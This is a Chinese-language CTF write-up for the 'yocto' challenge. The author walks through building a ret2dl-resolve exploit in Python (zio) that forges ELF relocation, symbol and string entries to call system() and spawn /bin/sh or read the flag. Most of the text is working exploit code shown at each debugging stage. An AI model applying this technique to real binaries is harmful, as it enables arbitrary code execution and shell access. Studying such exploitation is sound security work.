yocto writeup

之前学习ret 2 dl-resolve的时候的记录,第一次遇到这种类型的题目应该是joker师傅给CCTF出的题目,之后师傅给了我yocto这个题目,并给了我他的exp,我根据一些文章+师傅的exp搞定了这个题目的利用。

0x00:分析


程序逻辑很简单。

1
2
3
4
5
6
7
8
9
10
11
12
Input: 1111.2222.3333.4444
ebp-0xc #12 edx 2222
ebp-0x10 #16 ecx 3333
ebp-0x14 #20 eax 1111
then...
call exc(edx,eax)
0000| 0xbffff9dc --> 0x8ae # 2222
0004| 0xbffff9e0 --> 0x457 # 1111
0008| 0xbffff9e4 --> 0x80495c9 (".3333.4444\n")
0012| 0xbffff9e8 --> 0x457
0016| 0xbffff9ec --> 0xd05
0020| 0xbffff9f0 --> 0x8ae

0x01:利用思路

使用ret 2 dl-reslove技术,伪造relocdynsymdynstr,然后控制返回地值为plt[0]并且设置好参数,使得程序去查找并调用的是system()函数,并执行我们设置的命令。

0x02:exp构造过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python2
__author__ = "muhe"
from zio import *

args = ['./yocto']

io = zio(args, timeout=100000)

plt_addr = 0x080482a0 # objdump -s -j .plt yocto
rel_plt_addr = 0x08048270 # objdump -s -j .rel.plt yocto
dynsym_addr = 0x0804818c # objdump -s -j .dynsym yocto
dynstr_addr = 0x080481fc # objdump -s -j .dynstr yocto
base_addr = 0x080495C0 # glob
atoi_got_plt = 0x08049548
atoi_plt = 0x080482e0

# fake reloc here
fake_reloc_addr = base_addr + 16
reloc_offset = fake_reloc_addr - rel_plt_addr

# fake dynsym here
#fake_dynsym_addr = base_addr + ?


# fake dynstr here

'''
input: 1111.2222.3333
push eax 1111
push edx 2222
jmp ecx 3333
call ecx(edx,eax)
'''
payload = str(atoi_plt) #eax
payload += '.'
payload += str(reloc_offset) #edx
payload += '.'
payload += str(plt_addr) #ecx

io.writeline(payload)
raw_input('waiting for debugger attach...')
io.interact()

exp0check没过,继续构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python2
__author__ = "muhe"
from zio import *

args = ['./yocto']

io = zio(args, timeout=100000)

plt_addr = 0x080482a0 # objdump -s -j .plt yocto
rel_plt_addr = 0x08048270 # objdump -s -j .rel.plt yocto
dynsym_addr = 0x0804818c # objdump -s -j .dynsym yocto
dynstr_addr = 0x080481fc # objdump -s -j .dynstr yocto
base_addr = 0x080495C0 # glob
atoi_got_plt = 0x08049548
atoi_plt = 0x080482e0

# fake reloc here
fake_reloc_addr = base_addr + 36 # 0x80495e4
reloc_offset = fake_reloc_addr - rel_plt_addr # 0x1374

# fake dynsym here
fake_dynsym_addr = base_addr + 60
# const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
r_info = (fake_dynsym_addr - dynsym_addr) << 8 | 0x7


# fake dynstr here
fake_dynstr_addr = bass_addr + 45 # 0x80495ed
st_name = fake_dynstr_addr - dynstr_addr




bin_sh_addr = bass_addr + 76 # 0x804960c
'''
input: 1111.2222.3333
push eax 1111
push edx 2222
jmp ecx 3333
call ecx(edx,eax)
'''

payload = str(atoi_plt) #eax
payload += '.'
payload += str(reloc_offset) #edx
payload += '.'
payload += str(plt_addr) #ecx
raw_input('waiting for debugger attach...')

payload += "AAAA"
payload += "BBBB"
payload += "CCCC"
payload += "DDDD"
payload += "EEEE"
payload += "FFFF"
payload += "GGGG"
payload += "HHHH"
payload += "IIII"
payload += "JJJJ"
payload += "KKKK"
payload += "LLLL"
payload += "MMMM"
payload += "NNNN"
print len(payload)

io.writeline(payload)
io.interact()

过了

1
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

最低位是不是7的check。

变换exp继续调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
....

payload = str(atoi_plt) #eax
payload += '.'
payload += str(reloc_offset) #edx
payload += '.'
payload += str(plt_addr) #ecx
#raw_input('waiting for debugger attach...')
io.gdb_hint([0x080483F5])
payload += "AAAA"
payload += "BBBB"
payload += "CCCC"
#payload += "DDDD"
#payload += "EEEE" # r_info
payload += l32(atoi_got_plt)
payload += l32(r_info)
payload += "FFFF"
payload += "GGGG"
payload += "HHHH"
payload += "IIII"
payload += "JJJJ"
payload += "KKKK"
payload += "LLLL"
payload += "MMMM"
payload += "NNNN"
print len(payload)

io.writeline(payload)
io.interact()

变换payload部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload =  str(atoi_plt)     #eax
payload += '.'
payload += str(reloc_offset) #edx
payload += '.'
payload += str(plt_addr) #ecx
#raw_input('waiting for debugger attach...')
io.gdb_hint([0x080483F5])
payload += "AAAA"
payload += "BBBB"
payload += "CCCC"
#payload += "DDDD"
#payload += "EEEE" # r_info
payload += l32(atoi_got_plt)
payload += l32(r_info)
payload += "FFFF"
payload += "GGGG"
payload += "HHHH"
payload += "IIII"
payload += "JJJJ" # fake_dynsym_addr
payload += "KKKK"
payload += "LLLL"
#payload += "MMMM"
payload += l32(0)
payload += "NNNN"
print len(payload)

io.writeline(payload)
io.interact()

dl_lookup_wrong

解决办法:正常调试这个过程,看看引起异常的部分在哪里。

st_name设置的问题,修改正确的位置,改变payload为如下,继续调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payload =  str(atoi_plt)     #eax
payload += '.'
payload += str(reloc_offset) #edx
payload += '.'
payload += str(plt_addr) #ecx
#raw_input('waiting for debugger attach...')
io.gdb_hint([0x080483F5])
payload += "AAAA"
payload += "BBBB"
payload += "CCCC"
payload += l32(atoi_got_plt) #fake_reloc
payload += l32(r_info)
payload += "FFFF" # fake_dynstr_addr
payload += "GGGG"
payload += "HHHH"
payload += "IIII"
payload += l32(st_name) # fake_dynsym_addr
payload += "KKKK"
payload += "LLLL"
payload += l32(0)
payload += "NNNN"
print len(payload)

io.writeline(payload)
io.interact()

这样修改之后发现:
undefine_symbol
替换system过去,应该就可以找到system的地址了。

然而…一口老血要喷出来了

这是修改之后的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

payload = str(atoi_plt) #eax
payload += '.'
payload += str(reloc_offset) #edx
payload += '.'
payload += str(plt_addr) #ecx
#raw_input('waiting for debugger attach...')
io.gdb_hint([0x080483F5])

payload += "AAAA"
payload += "\x90" * (36 - len(payload))
print "$1 --> %d" % (len(payload))
payload += l32(atoi_got_plt) #fake_reloc
payload += l32(r_info)

payload += "\x90"*(45 - len(payload)) # fake_dynstr_addr string: "system\x00" here
payload += "system\x00"
print "$2 --> %d" % (len(payload))

payload += "\x90" * (60 - len(payload))
payload += l32(st_name) # fake_dynsym_addr
payload += l32(0)
payload += l32(0)
payload += l32(0x12)

print "$3 --> %d" % (len(payload))

payload += "\x90" * (80 - len(payload))

io.writeline(payload)
io.interact()

undefine_symbol_system

单步看看发生了什么吧….

dl_lookup_func

函数的参数如下:

1
2
_dl_lookup_symbol_x (undef_name=0x80495ed <glob+45> "system", undef_map=undef_map@entry=0xb7779938, ref=ref@entry=0xbff81f38, symbol_scope=0xb7779af0, version=0xb7753c98, 
type_class=type_class@entry=0x1, flags=flags@entry=0x1, skip_map=skip_map@entry=0x0)

对比源码里这个函数的原型:

1
2
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
4444 version, ELF_RTYPE_CLASS_PLT, flags, NULL);

返回值是libc的基地址。

对比了下9k师傅的exp,应该是dynsym的伪造块没有做对齐…原因暂时没搞清楚,先加上对齐在说。

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python2
__author__ = "muhe"
from zio import *

args = ['./yocto']

io = zio(args, timeout=100000)

plt_addr = 0x080482a0 # objdump -s -j .plt yocto
rel_plt_addr = 0x08048270 # objdump -s -j .rel.plt yocto
dynsym_addr = 0x0804818c # objdump -s -j .dynsym yocto
dynstr_addr = 0x080481fc # objdump -s -j .dynstr yocto
base_addr = 0x080495C0 # glob
atoi_got_plt = 0x08049548
atoi_plt = 0x080482e0

# fake reloc here
fake_reloc_addr = base_addr + 36 # 0x80495e4
reloc_offset = fake_reloc_addr - rel_plt_addr # 0x1374

# fake dynsym here
fake_dynsym_addr = base_addr + 60
align_dynsym = 0x10 - ((fake_dynsym_addr-dynsym_addr) & 0xF)
fake_dynsym_addr += align_dynsym
# const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
r_info = ((fake_dynsym_addr - dynsym_addr)/0x10)<< 8 | 0x7


# fake dynstr here
fake_dynstr_addr = base_addr + 45 # 0x80495ed
st_name = fake_dynstr_addr - dynstr_addr # 0x13f1

#bin_sh_addr = base_addr + 76 # 0x804960c
'''
input: 1111.2222.3333
push eax 1111
push edx 2222
jmp ecx 3333
call ecx(edx,eax)
'''

payload = str(atoi_plt) #eax
payload += '.'
payload += str(reloc_offset) #edx
payload += '.'
payload += str(plt_addr) #ecx
#raw_input('waiting for debugger attach...')
io.gdb_hint([0x080483F5])

#payload += "AAAA"
#payload += ";cat ./flag\x00"
payload += ";/bin/sh\x00"
payload += "\x90" * (36 - len(payload))
print "$1 --> %d" % (len(payload))
payload += l32(atoi_got_plt) #fake_reloc
payload += l32(r_info)

payload += "\x90"*(45 - len(payload)) # fake_dynstr_addr string: "system\x00" here
payload += "system\x00"
print "$2 --> %d" % (len(payload))

payload += "\x90" * (60 - len(payload))
payload += "\x90" * align_dynsym
payload += l32(st_name) # fake_dynsym_addr
payload += l32(0)
payload += l32(0)
payload += l32(0x12)

print "$3 --> %d" % (len(payload))

payload += "\x90" * (80 - len(payload))

io.writeline(payload)
io.interact()

读文件的exp效果

read_flag

起shell的效果

exp_get_shell

0x03:参考

  • 9k师傅的exp
  • bigtang师傅drops的文章
  • ELF如何摧毁圣诞 ——通过ELF动态装载机制进行漏洞利用
  • Phrack文章